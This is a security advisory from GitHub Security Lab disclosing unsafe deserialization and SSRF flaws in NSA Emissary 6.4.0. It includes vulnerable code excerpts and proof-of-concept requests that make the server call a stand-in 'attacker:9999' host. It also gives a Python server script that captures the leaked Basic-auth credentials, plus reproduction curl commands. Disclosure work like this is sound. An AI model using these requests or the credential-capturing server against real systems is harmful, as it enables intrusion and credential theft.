Coordinated Disclosure Timeline
- 2021-04-13: Report sent to EmissarySupport@evoforge.org
- 2021-05-21: Unsafe deserialization advisory is published
- 2021-07-02: SSRF advisory is published
Summary
Emissary is vulnerable to post-authentication Unsafe Deserialization and Server-Side Request Forgery (SSRF)
Product
National Security Agency Emissary
Tested Version
6.4.0
Details
Issue 1: Unsafe Deserialization (GHSL-2021-067)
The WorkSpaceClientEnqueueAction
endpoint is vulnerable to Unsafe Deserialization:
@POST
@Path("/WorkSpaceClientEnqueue.action")
@Consumes(MediaType.APPLICATION_FORM_URLENCODED)
@Produces(MediaType.TEXT_PLAIN)
public Response workspaceClientEnqueue(@FormParam(WorkSpaceAdapter.CLIENT_NAME) String clientName,
@FormParam(WorkSpaceAdapter.WORK_BUNDLE_OBJ) String workBundleString) {
logger.debug("TPWorker incoming execute! check prio={}", Thread.currentThread().getPriority());
// TODO Doesn't look like anything is actually calling this, should we remove this?
final boolean success;
try {
// Look up the place reference
final String nsName = KeyManipulator.getServiceLocation(clientName);
final IPickUpSpace place = (IPickUpSpace) Namespace.lookup(nsName);
if (place == null) {
throw new IllegalArgumentException("No client place found using name " + clientName);
}
final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(workBundleString.getBytes("8859_1")));
WorkBundle paths = (WorkBundle) ois.readObject();
success = place.enque(paths);
}
...
}
This endpoint can be reached via authenticated POST request to /WorkSpaceClientEnqueue.action
. The form parameter tpObj
(WORK_BUNDLE_OBJ) gets decoded and deserialized in line 52
final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(workBundleString.getBytes("8859_1")));
There are other two unsafe deserializations which are not currently exercised in the code. However they are ticking bombs which can be enabled in future releases:
PayloadUtil.java
Exercised inMoveToAction
which is currently not exposed by Jersey server.
MoveToAction:
public Response moveTo(@Context HttpServletRequest request)
final MoveToAdapter mt = new MoveToAdapter();
final boolean status = mt.inboundMoveTo(request);
MoveToAdapter:
public boolean inboundMoveTo(final HttpServletRequest req)
final MoveToRequestBean bean = new MoveToRequestBean(req);
MoveToRequestBean(final HttpServletRequest req)
final String agentData = RequestUtil.getParameter(req, AGENT_SERIAL);
setPayload(agentData);
this.payload = PayloadUtil.deserialize(s);
PayloadUtil:
ois = new ObjectInputStream(new ByteArrayInputStream(s.getBytes("8859_1")));
WorkSpaceAdapter.java
Requires a call toinboundEnque()
which is currently not exercised. Dataflow to the deserialization on line 305:
WorkspaceAdapter:
public boolean inboundEnque(final HttpServletRequest req)
final EnqueRequestBean bean = new EnqueRequestBean(req);
EnqueRequestBean(final HttpServletRequest req)
setPaths(RequestUtil.getParameter(req, WORK_BUNDLE_OBJ));
final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(s.getBytes("8859_1")));
Impact
This issue may lead to post-auth Remote Code Execution. Since version 6.3.0, the endpoint is protected against CSRF attacks, which reduces the impact of the vulnerability. However, if a new XSS vulnerability is introduced in the future, it might allow an attacker to craft a malicious page that, when visited by a victim, will trigger the unsafe deserialization.
Issue 2: Server-Side Request Forgery (GHSL-2021-068)
SSRF in RegisterPeerAction
The RegisterPeerAction
endpoint is vulnerable to Server-Side Request Forgery (SSRF). A POST request to the /RegisterPeer.action
endpoint will trigger additional requests to hosts controlled by the attacker
For example, the following request will cause multiple requests to be sent to the attacker server (http://attacker:9999)
POST /emissary/RegisterPeer.action? HTTP/1.1
Host: localhost:8001
X-Requested-By: emissary
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
Some of the forged requests are non-authenticated requests sent to the /emissary/Heartbeat.action
endpoint:
POST /emissary/Heartbeat.action HTTP/1.1
X-Requested-By: emissary
Content-Length: 180
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate
hbf=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace&hbt=http%3A%2F%2Fattacker:9999%2FDirectoryPlace
However, some others are authenticated requests sent to the /emissary/RegisterPeer.action
endpoint on the attacker-controlled server:
POST /emissary/RegisterPeer.action HTTP/1.1
X-Requested-By: emissary
Content-Length: 196
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate
targetDir=http%3A%2F%2Fattacker:9999%2FDirectoryPlace&directoryName=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace
This can be used to scan the internal network or, if this is an authenticated request, leak the user’s password. For example by starting a simple python server which requests Basic authentication, the emissary client will change from Digest auth to Basic auth and will send the credentials to the attacker:
import BaseHTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
import sys
class AuthHandler(SimpleHTTPRequestHandler):
''' Main class to present webpages and authentication. '''
def do_HEAD(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_AUTHHEAD(self):
self.send_response(401)
self.send_header('WWW-Authenticate', 'Basic realm=\"Test\"')
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_POST(self):
''' Present frontpage with user authentication. '''
if self.headers.getheader('Authorization') == None:
self.do_AUTHHEAD()
self.wfile.write('no auth header received')
pass
elif self.headers.getheader('Authorization').startswith('Basic '):
print("Received: " + (self.headers.getheader('Authorization')[6:]))
print("Received: " + base64.b64decode(self.headers.getheader('Authorization')[6:]))
SimpleHTTPRequestHandler.do_GET(self)
pass
else:
self.do_AUTHHEAD()
self.wfile.write(self.headers.getheader('Authorization'))
self.wfile.write('not authenticated')
pass
def test(HandlerClass = AuthHandler,
ServerClass = BaseHTTPServer.HTTPServer):
BaseHTTPServer.test(HandlerClass, ServerClass)
if __name__ == '__main__':
if len(sys.argv)<2:
print("usage SimpleAuthServer.py [port]")
sys.exit()
test()
The output of the server will show the credentials:
~/emissary λ python2 SimpleAuthServer.py 9999
Serving HTTP on 0.0.0.0 port 9999 ...
Received: ZW1pc3Nhcnk6ZW1pc3NhcnkxMjM=
Received: emissary:emissary123
127.0.0.1 - - [13/Apr/2021 12:37:47] code 404, message File not found
127.0.0.1 - - [13/Apr/2021 12:37:47] "POST /emissary/Heartbeat.action HTTP/1.1" 404 -
Received: ZW1pc3Nhcnk6ZW1pc3NhcnkxMjM=
Received: emissary:emissary123
127.0.0.1 - - [13/Apr/2021 12:37:47] code 404, message File not found
127.0.0.1 - - [13/Apr/2021 12:37:47] "POST /emissary/RegisterPeer.action HTTP/1.1" 404 -
SSRF in AddChildDirectoryAction
Similarly the AddChildDirectoryAction
endpoint is vulnerable to Server-Side Request Forgery (SSRF). A POST request to the /AddChildDirectory.action
endpoint will trigger additional requested to hosts controlled by the attacker:
POST /emissary/AddChildDirectory.action HTTP/1.1
Host: localhost:8001
x-requested-by:
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
Impact
This vulnerability may lead to credentials leak.
Resources
Sample cURL requests
curl --location --request POST 'http://localhost:8001/emissary/RegisterPeer.action' \
--header 'x-requested-by: ' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'directoryName=foo.bar.baz.http://localhost:9999/' \
--data-urlencode 'targetDir=http://localhost:8001/DirectoryPlace'
curl --location --request POST 'http://localhost:8001/emissary/AddChildDirectory.action' \
--header 'x-requested-by: ' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'directoryName=foo.bar.baz.http://localhost:9999/' \
--data-urlencode 'targetDir=http://localhost:8001/DirectoryPlace'
CVE
- CVE-2021-32634
- CVE-2021-32639
Resources
- https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-m5qf-gfmp-7638
- https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-2p8j-2rf3-h4xr
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-067
and GHSL-2021-068
in any communication regarding this issue.